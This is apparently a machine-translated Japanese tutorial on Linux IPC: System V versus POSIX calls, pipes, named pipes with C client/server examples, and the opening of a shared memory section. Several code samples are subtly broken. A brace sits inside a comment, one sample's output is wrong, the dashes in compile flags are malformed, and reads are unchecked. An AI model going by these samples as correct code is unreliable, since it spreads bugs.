Shared Memory shmat () Attaches the shared memory segment and makes the segment a part of the virtual memory of the calling process.
Shared Memory shmdt () Detaches the shared memory segment.
Shared Memory shmctl () Performs control operations for the shared memory. Few of the generic control operations for the shared memory are removing the shared memory segment (IPC_RMID), receiving the information of the shared memory (IPC_STAT) and updating new values of the existing shared memory (IPC_SET).
Message Queues msgget () Creates a new message queue or accesses an already existing message queue and gets the handle or identifier to perform operations with regard to message queue, such as sending message/s to queue and receiving message/s from the queue.
Message Queues msgsnd () Sends a message to the required message queue with the required identification number.
Message Queues msgrcv () Receives a message from the message queue. By default, this is infinite wait operation, means the call will be blocked until it receives a message.
Message Queues msgctl () Performs control operations for the message queue. Few of the generic control operations for the message queue are removing the message queue (IPC_RMID), receiving the information of the message queue (IPC_STAT) and updating new values of the existing message queue (IPC_SET).
Semaphores semget () Creates a new semaphore or gets the identifier of the existing semaphore. Semaphores are used to perform synchronization between various IPCs working on the same object.
Semaphores semop () Performs semaphore operations on semaphore values. The basic semaphore operations are either acquiring or releasing the lock on the semaphore.
Semaphores semctl () Performs control operations for the semaphore. Few of the generic control operations for the semaphore are removing the semaphore (IPC_RMID), receiving the information of the semaphore (IPC_STAT) and updating new values of the existing semaphore (IPC_SET).
Signals signal () Setting the disposition of the signal (signal number) and the signal handler. In other terms, registering the routine, which gets executed when that signal is raised.
Signals sigaction () Same as signal(), setting the disposition of the signal i.e., performing certain action as per the registered signal handler after the receipt of the registered signal. This system call supports finer control over signal() such as blocking certain signals, restoring signal action to the default state after calling the signal handler, providing information such as consumed time of the user and the system, process id of sending process, etc.
Memory Mapping mmap () Mapping files into the memory. Once mapped into the memory, accessing files is as easy as accessing data using addresses and also in this way, the call is not expensive as system calls.
Memory Mapping munmap () Un-mapping the mapped files from the memory.

System VおよびPosix

次の表に、System V IPCとPOSIX IPCの違いを示します。

SYSTEM V POSIX
AT & T introduced (1983) three new forms of IPC facilities namely message queues, shared memory, and semaphores. Portable Operating System Interface standards specified by IEEE to define application programming interface (API). POSIX covers all the three forms of IPC
SYSTEM V IPC covers all the IPC mechanisms viz., pipes, named pipes, message queues, signals, semaphores, and shared memory. It also covers socket and Unix Domain sockets. Almost all the basic concepts are the same as System V. It only differs with the interface
Shared Memory Interface Calls shmget(), shmat(), shmdt(), shmctl() Shared Memory Interface Calls shm_open(), mmap(), shm_unlink()
Message Queue Interface Calls msgget(), msgsnd(), msgrcv(), msgctl() Message Queue Interface Calls mq_open(), mq_send(), mq_receive(), mq_unlink()
Semaphore Interface Calls semget(), semop(), semctl() Semaphore Interface Calls Named Semaphores sem_open(), sem_close(), sem_unlink(), sem_post(), sem_wait(), sem_trywait(), sem_timedwait(), sem_getvalue() Unnamed or Memory based semaphores sem_init(), sem_post(), sem_wait(), sem_getvalue(),sem_destroy()
Uses keys and identifiers to identify the IPC objects. Uses names and file descriptors to identify IPC objects
NA POSIX Message Queues can be monitored using select(), poll() and epoll APIs
Offers msgctl() call Provides functions (mq_getattr() and mq_setattr()) either to access or set attributes 11. IPC - System V & POSIX
NA Multi-thread safe. Covers thread synchronization functions such as mutex locks, conditional variables, read-write locks, etc.
NA Offers few notification features for message queues (such as mq_notify())
Requires system calls such as shmctl(), commands (ipcs, ipcrm) to perform status/control operations. Shared memory objects can be examined and manipulated using system calls such as fstat(), fchmod()
The size of a System V shared memory segment is fixed at the time of creation (via shmget()) We can use ftruncate() to adjust the size of the underlying object, and then re-create the mapping using munmap() and mmap() (or the Linux-specific mremap())

プロセス間通信-パイプ

パイプは、2つ以上の関連プロセスまたは相互関連プロセス間の通信媒体です。 1つのプロセス内、または子プロセスと親プロセス間の通信のいずれかです。 コミュニケーションは、親、子、孫などの間のコミュニケーションなど、マルチレベルにすることもできます。 通信は、1つのプロセスがパイプに書き込み、他のプロセスがパイプから読み取ることによって実現されます。 パイプシステムコールを実現するには、ファイルに書き込むファイルとファイルから読み取るファイルの2つのファイルを作成します。

パイプ機構は、パイプで水をバケツなどの容器に入れたり、誰かがマグカップで水を取り出すなどのリアルタイムのシナリオで見ることができます。 充填プロセスはパイプへの書き込みに過ぎず、読み取りプロセスはパイプからの取得に他なりません。 これは、一方の出力(水)が他方(バケット)の入力であることを意味します。

1つのパイプ

#include<unistd.h>

int pipe(int pipedes[2]);

このシステムコールは、一方向通信用のパイプを作成します。つまり、2つの記述子を作成します。1つはパイプからの読み取りに接続され、もう1つはパイプへの書き込みに接続されます。

記述子pipedes [0]は読み取り用、pipedes [1]は書き込み用です。 pipedes [1]に書き込まれたものはすべてpipedes [0]から読み取ることができます。

この呼び出しは、成功すると0を返し、失敗すると-1を返します。 失敗の原因を知るには、errno変数またはperror()関数で確認してください。

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);

ファイルの基本的な操作は読み取りと書き込みですが、操作を実行する前にファイルを開き、必要な操作の完了後にファイルを閉じることが不可欠です。 通常、デフォルトでは、プロセスごとに3つの記述子が開かれ、それぞれファイル記述子0、1、2を持つ入力(標準入力-stdin)、出力(標準出力-stdout)、エラー(標準エラー-stderr)に使用されます。

このシステムコールは、read/write/seek(lseek)のさらなるファイル操作に使用されるファイル記述子を返します。 通常、ファイル記述子は3から始まり、開いているファイルの数に応じて1つ増えます。

オープンシステムコールに渡される引数は、パス名(相対パスまたは絶対パス)、ファイルを開く目的を示すフラグ(読み取り用に開く、O_RDONLY、書き込むため、O_WRONLY、読み取りおよび書き込み用、O_RDWR、既存のファイルに追加するため) O_APPEND、O_CREATなどで存在しない場合はファイルを作成するなど)およびユーザーまたは所有者/グループ/その他の読み取り/書き込み/実行の許可を提供する必要なモード。 モードはシンボルで言及できます。

読み取り– 4、書き込み– 2、実行– 1。

例:8進値(0で始まる)、0764は所有者に読み取り、書き込み、および実行の許可があり、グループには読み取りおよび書き込みの許可があり、その他には読み取りの許可があることを意味します。 これは、S_IRWXU |として表すこともできます。 S_IRGRP | S_IWGRP | S_IROTH。これは0700 | 0040 | 0020 | 0004→0764を意味するか、操作します。

このシステムコールは、成功すると、新しいファイル記述子IDを返し、エラーの場合は-1を返します。 エラーの原因は、errno変数またはperror()関数で特定できます。

#include<unistd.h>

int close(int fd)

上記のシステムコールは、すでに開いているファイル記述子を閉じます。 これは、ファイルが使用されなくなり、関連するリソースが他のプロセスで再利用できることを意味します。 このシステムコールは成功すると0を返し、エラーの場合は-1を返します。 エラーの原因は、errno変数またはperror()関数で特定できます。

#include<unistd.h>

ssize_t read(int fd, void *buf, size_t count)

上記のシステムコールは、ファイル記述子fdの引数、割り当てられたメモリ(静的または動的)を備えた適切なバッファ、およびバッファのサイズを使用して、指定されたファイルから読み取ります。

ファイル記述子IDは、それぞれのファイルを識別するためのもので、open()またはpipe()システムコールを呼び出した後に返されます。 ファイルを読み取る前に、ファイルを開く必要があります。 pipe()システムコールを呼び出す場合に自動的に開きます。

この呼び出しは、成功した場合に読み込まれたバイト数(ファイルの終わりに到達した場合はゼロ)を返し、失敗した場合は-1を返します。 データが利用できない場合やファイルが閉じられる場合に備えて、戻りバイトは要求されたバイト数より小さくすることができます。 障害が発生した場合に適切なエラー番号が設定されます。

失敗の原因を知るには、errno変数またはperror()関数で確認してください。

#include<unistd.h>

ssize_t write(int fd, void *buf, size_t count)

上記のシステムコールは、ファイル記述子fdの引数、割り当てられたメモリ(静的または動的)およびバッファのサイズを備えた適切なバッファを使用して、指定されたファイルに書き込みます。

ファイル記述子IDは、それぞれのファイルを識別するためのもので、open()またはpipe()システムコールを呼び出した後に返されます。

ファイルに書き込む前に、ファイルを開く必要があります。 pipe()システムコールを呼び出す場合に自動的に開きます。

この呼び出しは、成功した場合に書き込まれたバイト数(または何も書き込まれていない場合はゼロ)を返し、失敗した場合は-1を返します。 障害が発生した場合に適切なエラー番号が設定されます。

失敗の原因を知るには、errno変数またはperror()関数で確認してください。

サンプルプログラム

以下にいくつかのプログラム例を示します。

  • プログラム例1 *-パイプを使用して2つのメッセージを読み書きするプログラム。

アルゴリズム

  • ステップ1 *-パイプを作成します。
  • ステップ2 *-パイプにメッセージを送信します。
  • ステップ3 *-パイプからメッセージを取得し、標準出力に書き込みます。
  • ステップ4 *-パイプに別のメッセージを送信します。
  • ステップ5 *-パイプからメッセージを取得し、標準出力に書き込みます。

注意-すべてのメッセージを送信した後、メッセージを取得することもできます。

  • ソースコード:simplepipe.c *
#include<stdio.h>
#include<unistd.h>

int main() {
   int pipefds[2];
   int returnstatus;
   char writemessages[2][20]={"Hi", "Hello"};
   char readmessage[20];
   returnstatus = pipe(pipefds);

   if (returnstatus == -1) {
      printf("Unable to create pipe\n");
      return 1;
   }

   printf("Writing to pipe - Message 1 is %s\n", writemessages[0]);
   write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
   read(pipefds[0], readmessage, sizeof(readmessage));
   printf("Reading from pipe – Message 1 is %s\n", readmessage);
   printf("Writing to pipe - Message 2 is %s\n", writemessages[0]);
   write(pipefds[1], writemessages[1], sizeof(writemessages[0]));
   read(pipefds[0], readmessage, sizeof(readmessage));
   printf("Reading from pipe – Message 2 is %s\n", readmessage);
   return 0;
}

-理想的には、システムコールごとに戻りステータスを確認する必要があります。 プロセスを簡素化するために、すべての呼び出しに対してチェックが行われるわけではありません。

実行手順

編集

gcc -o simplepipe simplepipe.c

実行/出力

Writing to pipe - Message 1 is Hi
Reading from pipe – Message 1 is Hi
Writing to pipe - Message 2 is Hi
Reading from pipe – Message 2 is Hell
  • プログラム例2 *-親プロセスと子プロセスを使用して、パイプを介して2つのメッセージを読み書きするプログラム。

アルゴリズム

  • ステップ1 *-パイプを作成します。
  • ステップ2 *-子プロセスを作成します。
  • ステップ3 *-親プロセスはパイプに書き込みます。
  • ステップ4 *-子プロセスはパイプからメッセージを取得し、標準出力に書き込みます。
  • ステップ5 *-ステップ3とステップ4をもう一度繰り返します。
  • ソースコード:pipewithprocesses.c *
#include<stdio.h>
#include<unistd.h>

int main() {
   int pipefds[2];
   int returnstatus;
   int pid;
   char writemessages[2][20]={"Hi", "Hello"};
   char readmessage[20];
   returnstatus = pipe(pipefds);
   if (returnstatus == -1) {
      printf("Unable to create pipe\n");
      return 1;
   }
   pid = fork();

  //Child process
   if (pid == 0) {
      read(pipefds[0], readmessage, sizeof(readmessage));
      printf("Child Process - Reading from pipe – Message 1 is %s\n", readmessage);
      read(pipefds[0], readmessage, sizeof(readmessage));
      printf("Child Process - Reading from pipe – Message 2 is %s\n", readmessage);
   } else {//Parent process
      printf("Parent Process - Writing to pipe - Message 1 is %s\n", writemessages[0]);
      write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
      printf("Parent Process - Writing to pipe - Message 2 is %s\n", writemessages[1]);
      write(pipefds[1], writemessages[1], sizeof(writemessages[1]));
   }
   return 0;
}

実行手順

コンピレーション

gcc pipewithprocesses.c –o pipewithprocesses

実行

Parent Process - Writing to pipe - Message 1 is Hi
Parent Process - Writing to pipe - Message 2 is Hello
Child Process - Reading from pipe – Message 1 is Hi
Child Process - Reading from pipe – Message 2 is Hello

パイプを使用した双方向通信

パイプ通信は一方向の通信、つまり、親プロセスが書き込み、子プロセスが読み取り、またはその逆であると見なされますが、両方ではありません。 ただし、親と子の両方がパイプの書き込みと読み取りを同時に行う必要がある場合、解決策はパイプを使用した双方向通信です。 双方向通信を確立するには、2本のパイプが必要です。

以下は、双方向通信を達成するための手順です-

  • ステップ1 *-2つのパイプを作成します。 1つ目は、たとえばpipe1のように、親が書き込み、子が読み取ることです。 2つ目は、たとえばpipe2として、子が書き込み、親が読み取ることです。
  • ステップ2 *-子プロセスを作成します。
  • ステップ3 *-各通信に必要なのは1つのエンドポイントだけなので、不要なエンドポイントを閉じます。
  • ステップ4 *-親プロセスの不要な終了を閉じ、pipe1の終了を読み取り、pipe2の終了を書き込みます。
  • ステップ5 *-子プロセスの不要な終了を閉じ、pipe1の終了を書き込み、pipe2の終了を読み取ります。
  • ステップ6 *-必要に応じて通信を実行します。

2つのパイプ

サンプルプログラム

  • サンプルプログラム1 *-パイプを使用した双方向通信の実現。

アルゴリズム

  • ステップ1 *-書き込む親プロセスと読み取る子プロセスのpipe1を作成します。
  • ステップ2 *-子プロセスが書き込み、親プロセスが読み取り用のpipe2を作成します。
  • ステップ3 *-親側と子側からパイプの不要な端を閉じます。
  • ステップ4 *-メッセージを書き込む親プロセスと、読み取りおよび画面に表示する子プロセス。
  • ステップ5 *-メッセージを書き込むための子プロセスと、読み取りおよび画面に表示するための親プロセス。
  • ソースコード:twowayspipe.c *
#include<stdio.h>
#include<unistd.h>

int main() {
   int pipefds1[2], pipefds2[2];
   int returnstatus1, returnstatus2;
   int pid;
   char pipe1writemessage[20] = "Hi";
   char pipe2writemessage[20] = "Hello";
   char readmessage[20];
   returnstatus1 = pipe(pipefds1);

   if (returnstatus1 == -1) {
      printf("Unable to create pipe 1 \n");
      return 1;
   }
   returnstatus2 = pipe(pipefds2);

   if (returnstatus2 == -1) {
      printf("Unable to create pipe 2 \n");
      return 1;
   }
   pid = fork();

   if (pid != 0)//Parent process {
      close(pipefds1[0]);//Close the unwanted pipe1 read side
      close(pipefds2[1]);//Close the unwanted pipe2 write side
      printf("In Parent: Writing to pipe 1 – Message is %s\n", pipe1writemessage);
      write(pipefds1[1], pipe1writemessage, sizeof(pipe1writemessage));
      read(pipefds2[0], readmessage, sizeof(readmessage));
      printf("In Parent: Reading from pipe 2 – Message is %s\n", readmessage);
   } else {//child process
      close(pipefds1[1]);//Close the unwanted pipe1 write side
      close(pipefds2[0]);//Close the unwanted pipe2 read side
      read(pipefds1[0], readmessage, sizeof(readmessage));
      printf("In Child: Reading from pipe 1 – Message is %s\n", readmessage);
      printf("In Child: Writing to pipe 2 – Message is %s\n", pipe2writemessage);
      write(pipefds2[1], pipe2writemessage, sizeof(pipe2writemessage));
   }
   return 0;
}

実行手順

編集

gcc twowayspipe.c –o twowayspipe

実行

In Parent: Writing to pipe 1 – Message is Hi
In Child: Reading from pipe 1 – Message is Hi
In Child: Writing to pipe 2 – Message is Hello
In Parent: Reading from pipe 2 – Message is Hello

プロセス間通信-名前付きパイプ

パイプは、関連するプロセス間の通信を目的としていました。 ある端末からクライアントプログラムを実行し、別の端末からサーバープログラムを実行するなど、無関係なプロセス通信にパイプを使用できますか? 答えはノーだ。 次に、無関係なプロセスの通信をどのように達成できるか、簡単な答えは名前付きパイプです。 これは関連するプロセスで機能しますが、関連するプロセスの通信に名前付きパイプを使用する意味はありません。

一方向通信に1本のパイプを使用し、双方向通信に2本のパイプを使用しました。 名前付きパイプにも同じ条件が適用されますか? 答えはノーです。名前付きパイプは双方向通信をサポートしているため、双方向通信(サーバーとクライアント、さらにクライアントとサーバー間の通信)に使用できる単一の名前付きパイプを使用できます。

名前付きパイプの別の名前は* FIFO(先入れ先出し)*です。 名前付きパイプを作成するシステムコール(mknod())を見てみましょう。これは一種の特別なファイルです。

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

int mknod(const char *pathname, mode_t mode, dev_t dev);

このシステムコールは、通常のファイル、デバイスファイル、FIFOなどの特別なファイルまたはファイルシステムノードを作成します。 システムコールの引数は、パス名、モード、およびdevです。 モード名とデバイス情報のパス名。 パス名は相対パスです。ディレクトリが指定されていない場合、現在のディレクトリに作成されます。 指定されるモードは、次の表に示すように、ファイルのタイプやファイルモードなどのファイルタイプを指定するファイルモードです。 devフィールドは、メジャーおよびマイナーデバイス番号などのデバイス情報を指定するためのものです。

File Type Description File Type Description
S_IFBLK block special S_IFREG Regular file
S_IFCHR character special S_IFDIR Directory
S_IFIFO FIFO special S_IFLNK Symbolic Link
File Mode Description File Mode Description
S_IRWXU Read, write, execute/search by owner S_IWGRP Write permission, group
S_IRUSR Read permission, owner S_IXGRP Execute/search permission, group
S_IWUSR Write permission, owner S_IRWXO Read, write, execute/search by others
S_IXUSR Execute/search permission, owner S_IROTH Read permission, others
S_IRWXG Read, write, execute/search by group S_IWOTH Write permission, others
S_IRGRP Read permission, group S_IXOTH Execute/search permission, others

ファイルモードは、0XYZなどの8進表記でも表すことができます。Xは所有者を表し、Yはグループを表し、Zはその他を表します。 X、Y、またはZの値の範囲は0〜7です。 読み取り、書き込み、実行の値はそれぞれ4、2、1です。 読み取り、書き込み、実行の組み合わせで必要な場合は、それに応じて値を追加します。

たとえば、0640と言えば、所有者には読み取りと書き込み(4 + 2 = 6)、グループには読み取り(4)、その他には許可なし(0)を意味します。

この呼び出しは、成功すると0を返し、失敗すると-1を返します。 失敗の原因を知るには、errno変数またはperror()関数で確認してください。

#include <sys/types.h>
#include <sys/stat.h>

int mkfifo(const char *pathname, mode_t mode)

このライブラリ関数は、名前付きパイプに使用されるFIFO特殊ファイルを作成します。 この関数の引数は、ファイル名とモードです。 ファイル名は、絶対パスでも相対パスでもかまいません。 フルパス名(または絶対パス)が指定されていない場合、実行プロセスの現在のフォルダーにファイルが作成されます。 ファイルモード情報は、mknod()システムコールで説明されているとおりです。

この呼び出しは、成功すると0を返し、失敗すると-1を返します。 失敗の原因を知るには、errno変数またはperror()関数で確認してください。

ある端末でサーバーを実行し、別の端末でクライアントを実行するプログラムを考えてみましょう。 このプログラムは、一方向の通信のみを実行します。 クライアントはユーザー入力を受け入れ、サーバーにメッセージを送信し、サーバーは出力にメッセージを印刷します。 ユーザーが文字列「end」を入力するまで、プロセスは継続されます。

例でこれを理解しましょう-

  • ステップ1 *-2つのプロセスを作成します。1つはfifoserverで、もう1つはfifoclientです。
  • ステップ2 *-サーバープロセスは以下を実行します-
  • 「MYFIFO」という名前の名前付きパイプを(システムコールmknod()を使用して)作成します(作成されていない場合)。
  • 読み取り専用の名前付きパイプを開きます。
  • ここでは、所有者の読み取りと書き込みの権限を持つFIFOを作成しました。 グループの読み取り、その他のアクセス許可はありません。
  • クライアントからのメッセージを無限に待機します。
  • クライアントから受信したメッセージが「終了」ではない場合、メッセージを出力します。 メッセージが「終了」の場合、FIFOを閉じてプロセスを終了します。
  • ステップ3 *-クライアントプロセスは以下を実行します-
  • 書き込み専用の名前付きパイプを開きます。
  • ユーザーからの文字列を受け入れます。
  • ユーザーが「終了」または「終了」以外を入力したかどうかを確認します。 いずれにせよ、サーバーにメッセージを送信します。 ただし、文字列が「終了」の場合、これによりFIFOが閉じられ、プロセスも終了します。
  • ユーザーが文字列「end」を入力するまで無限に繰り返します。

次に、FIFOサーバーファイルを見てみましょう。

/*Filename: fifoserver.c*/
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define FIFO_FILE "MYFIFO"
int main() {
   int fd;
   char readbuf[80];
   char end[10];
   int to_end;
   int read_bytes;

  /*Create the FIFO if it does not exist*/
   mknod(FIFO_FILE, S_IFIFO|0640, 0);
   strcpy(end, "end");
   while(1) {
      fd = open(FIFO_FILE, O_RDONLY);
      read_bytes = read(fd, readbuf, sizeof(readbuf));
      readbuf[read_bytes] = '\0';
      printf("Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
      to_end = strcmp(readbuf, end);
      if (to_end == 0) {
         close(fd);
         break;
      }
   }
   return 0;
}

コンパイルおよび実行手順

Received string: "this is string 1" and length is 16
Received string: "fifo test" and length is 9
Received string: "fifo client and server" and length is 22
Received string: "end" and length is 3

では、FIFOクライアントのサンプルコードを見てみましょう。

/*Filename: fifoclient.c*/
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define FIFO_FILE "MYFIFO"
int main() {
   int fd;
   int end_process;
   int stringlen;
   char readbuf[80];
   char end_str[5];
   printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
   fd = open(FIFO_FILE, O_CREAT|O_WRONLY);
   strcpy(end_str, "end");

   while (1) {
      printf("Enter string: ");
      fgets(readbuf, sizeof(readbuf), stdin);
      stringlen = strlen(readbuf);
      readbuf[stringlen - 1] = '\0';
      end_process = strcmp(readbuf, end_str);

     //printf("end_process is %d\n", end_process);
      if (end_process != 0) {
         write(fd, readbuf, strlen(readbuf));
         printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
      } else {
         write(fd, readbuf, strlen(readbuf));
         printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
         close(fd);
         break;
      }
   }
   return 0;
}

到着した出力を見てみましょう。

コンパイルおよび実行手順

FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: this is string 1
Sent string: "this is string 1" and string length is 16
Enter string: fifo test
Sent string: "fifo test" and string length is 9
Enter string: fifo client and server
Sent string: "fifo client and server" and string length is 22
Enter string: end
Sent string: "end" and string length is 3

名前付きパイプを使用した双方向通信

パイプ間の通信は単方向であることを意図しています。 パイプは一般に一方向通信に制限されており、双方向通信には少なくとも2本のパイプが必要です。 パイプは、相互に関連するプロセス専用です。 パイプは無関係なプロセスの通信に使用できません。たとえば、ある端末から1つのプロセスを実行し、別の端末から別のプロセスを実行する場合、パイプでは不可能です。 2つのプロセス間で通信する簡単な方法はありますか? 答えはイエスです。 名前付きパイプは、2つ以上の無関係なプロセス間の通信を目的としており、双方向通信も可能です。

すでに、名前付きパイプ間の一方向の通信、つまりクライアントからサーバーへのメッセージを見てきました。 ここで、双方向通信、つまり、クライアントがサーバーにメッセージを送信し、サーバーがメッセージを受信し、同じ名前付きパイプを使用して別のメッセージをクライアントに送信することを見てみましょう。

以下は例です-

  • ステップ1 *-2つのプロセスを作成します。1つはfifoserver_twoway、もう1つはfifoclient_twowayです。
  • ステップ2 *-サーバープロセスは以下を実行します-
  • /tmpディレクトリに「fifo_twoway」という名前の名前付きパイプを(ライブラリ関数mkfifo()を使用して)作成します(作成されていない場合)。 * 読み取りおよび書き込み目的で名前付きパイプを開きます。 * ここでは、所有者の読み取りと書き込みの権限を持つFIFOを作成しました。 グループの読み取り、その他のアクセス許可はありません。 * クライアントからのメッセージを無限に待ちます。 * クライアントから受信したメッセージが「終了」ではない場合、メッセージを出力して文字列を反転します。 反転した文字列はクライアントに送り返されます。 メッセージが「終了」の場合、FIFOを閉じてプロセスを終了します。
  • ステップ3 *-クライアントプロセスは以下を実行します-
  • 読み取りおよび書き込み目的で名前付きパイプを開きます。
  • ユーザーからの文字列を受け入れます。
  • ユーザーが「終了」または「終了」以外を入力したかどうかを確認します。 いずれにせよ、サーバーにメッセージを送信します。 ただし、文字列が「終了」の場合、これによりFIFOが閉じられ、プロセスも終了します。
  • メッセージが「終了」ではないとして送信された場合、クライアントからのメッセージ(反転した文字列)を待機し、反転した文字列を出力します。
  • ユーザーが文字列「end」を入力するまで無限に繰り返します。

では、FIFOサーバーのサンプルコードを見てみましょう。

/*Filename: fifoserver_twoway.c*/
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define FIFO_FILE "/tmp/fifo_twoway"
void reverse_string(char *);
int main() {
   int fd;
   char readbuf[80];
   char end[10];
   int to_end;
   int read_bytes;

  /*Create the FIFO if it does not exist*/
   mkfifo(FIFO_FILE, S_IFIFO|0640);
   strcpy(end, "end");
   fd = open(FIFO_FILE, O_RDWR);
   while(1) {
      read_bytes = read(fd, readbuf, sizeof(readbuf));
      readbuf[read_bytes] = '\0';
      printf("FIFOSERVER: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
      to_end = strcmp(readbuf, end);

      if (to_end == 0) {
         close(fd);
         break;
      }
      reverse_string(readbuf);
      printf("FIFOSERVER: Sending Reversed String: \"%s\" and length is %d\n", readbuf, (int) strlen(readbuf));
      write(fd, readbuf, strlen(readbuf));
     /*
      sleep - This is to make sure other process reads this, otherwise this
      process would retrieve the message
      */
      sleep(2);
   }
   return 0;
}

void reverse_string(char *str) {
   int last, limit, first;
   char temp;
   last = strlen(str) - 1;
   limit = last/2;
   first = 0;

   while (first < last) {
      temp = str[first];
      str[first] = str[last];
      str[last] = temp;
      first++;
      last--;
   }
   return;
}

コンパイルおよび実行手順

FIFOSERVER: Received string: "LINUX IPCs" and length is 10
FIFOSERVER: Sending Reversed String: "sCPI XUNIL" and length is 10
FIFOSERVER: Received string: "Inter Process Communication" and length is 27
FIFOSERVER: Sending Reversed String: "noitacinummoC ssecorP retnI" and length is 27
FIFOSERVER: Received string: "end" and length is 3

では、FIFOクライアントのサンプルコードを見てみましょう。

/*Filename: fifoclient_twoway.c*/
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define FIFO_FILE "/tmp/fifo_twoway"
int main() {
   int fd;
   int end_process;
   int stringlen;
   int read_bytes;
   char readbuf[80];
   char end_str[5];
   printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
   fd = open(FIFO_FILE, O_CREAT|O_RDWR);
   strcpy(end_str, "end");

   while (1) {
      printf("Enter string: ");
      fgets(readbuf, sizeof(readbuf), stdin);
      stringlen = strlen(readbuf);
      readbuf[stringlen - 1] = '\0';
      end_process = strcmp(readbuf, end_str);

     //printf("end_process is %d\n", end_process);
      if (end_process != 0) {
         write(fd, readbuf, strlen(readbuf));
         printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
         read_bytes = read(fd, readbuf, sizeof(readbuf));
         readbuf[read_bytes] = '\0';
         printf("FIFOCLIENT: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
      } else {
         write(fd, readbuf, strlen(readbuf));
         printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
         close(fd);
         break;
      }
   }
   return 0;
}

コンパイルおよび実行手順

FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: LINUX IPCs
FIFOCLIENT: Sent string: "LINUX IPCs" and string length is 10
FIFOCLIENT: Received string: "sCPI XUNIL" and length is 10
Enter string: Inter Process Communication
FIFOCLIENT: Sent string: "Inter Process Communication" and string length is 27
FIFOCLIENT: Received string: "noitacinummoC ssecorP retnI" and length is 27
Enter string: end
FIFOCLIENT: Sent string: "end" and string length is 3

共有メモリ

共有メモリは、2つ以上のプロセス間で共有されるメモリです。 ただし、メモリやその他の通信手段を共有する必要があるのはなぜですか?

繰り返しますが、各プロセスには独自のアドレス空間があります。プロセスが独自のアドレス空間から他のプロセスと情報をやり取りしたい場合は、IPC(プロセス間通信)技術でのみ可能です。 すでに認識しているように、通信は、関連するプロセスと無関係のプロセスの間で行われます。

通常、相互に関連するプロセス通信は、パイプまたは名前付きパイプを使用して実行されます。 関連のないプロセス(たとえば、ある端末で実行中のプロセスと別の端末で実行中の別のプロセス)の通信は、名前付きパイプを使用するか、共有メモリおよびメッセージキューの一般的なIPC技術を使用して実行できます。

パイプと名前付きパイプのIPCテクニックを見てきましたが、残りのIPCテクニック、つまり共有メモリ、メッセージキュー、セマフォ、シグナル、およびメモリマッピングを知る時が来ました。

この章では、共有メモリについてすべてを説明します。

共有メモリ

私たちは2つ以上のプロセス間で通信するために共有メモリを使用することを知っていますが、共有メモリを使用する前にシステムコールで何をする必要があるかを見てみましょう-

  • 共有メモリセグメントを作成するか、作成済みの共有メモリセグメントを使用します(shmget())
  • 作成済みの共有メモリセグメントにプロセスをアタッチします(shmat())
  • すでにアタッチされている共有メモリセグメントからプロセスをデタッチします(shmdt())
  • 共有メモリセグメントでの操作の制御(shmctl())

共有メモリに関連するシステムコールのいくつかの詳細を見てみましょう。

#include <sys/ipc.h>
#include <sys/shm.h>

int shmget(key_t key, size_t size, int shmflg)

上記のシステムコールは、System V共有メモリセグメントを作成または割り当てます。 渡す必要がある引数は次のとおりです-

  • 最初の引数、キー*は共有メモリセグメントを認識します。 キーは、任意の値でも、ライブラリ関数ftok()から派生した値でもかまいません。 キーはIPC_PRIVATE、つまり、サーバーおよびクライアント(親子関係)としてプロセスを実行する、つまり相互に関連するプロセス通信でもあります。 クライアントがこのキーで共有メモリを使用する場合、サーバーの子プロセスである必要があります。 また、親が共有メモリを取得した後に、子プロセスを作成する必要があります。
*2番目の引数、size* は、PAGE_SIZEの倍数に丸められた共有メモリセグメントのサイズです。
*3番目の引数shmflg* は、IPC_CREAT(新しいセグメントの作成)やIPC_EXCL(IPC_CREATと併用して新しいセグメントを作成し、セグメントが既に存在する場合は呼び出しが失敗する)などの必要な共有メモリフラグを指定します。 許可も渡す必要があります。

-権限の詳細については、前のセクションを参照してください。

この呼び出しは、成功した場合は有効な共有メモリ識別子(共有メモリの以降の呼び出しに使用)を返し、失敗した場合は-1を返します。 失敗の原因を知るには、errno変数またはperror()関数で確認してください。

#include <sys/types.h>
#include <sys/shm.h>

void *shmat(int shmid, const void* shmaddr, int shmflg)

上記のシステムコールは、System V共有メモリセグメントの共有メモリ操作を実行します。つまり、共有メモリセグメントを呼び出しプロセスのアドレス空間にアタッチします。 渡す必要がある引数は次のとおりです-

  • 最初の引数shmid *は、共有メモリセグメントの識別子です。 このidは共有メモリ識別子であり、shmget()システムコールの戻り値です。
*2番目の引数shmaddr* は、接続アドレスを指定するためのものです。 shmaddrがNULLの場合、システムはデフォルトで適切なアドレスを選択してセグメントを接続します。 shmaddrがNULLではなく、SHM_RNDがshmflgで指定されている場合、アタッチは、最も近いSHMLBAの倍数(下位境界アドレス)のアドレスに等しくなります。 それ以外の場合、shmaddrは、共有メモリのアタッチメントが発生/開始するページ境界アドレスでなければなりません。
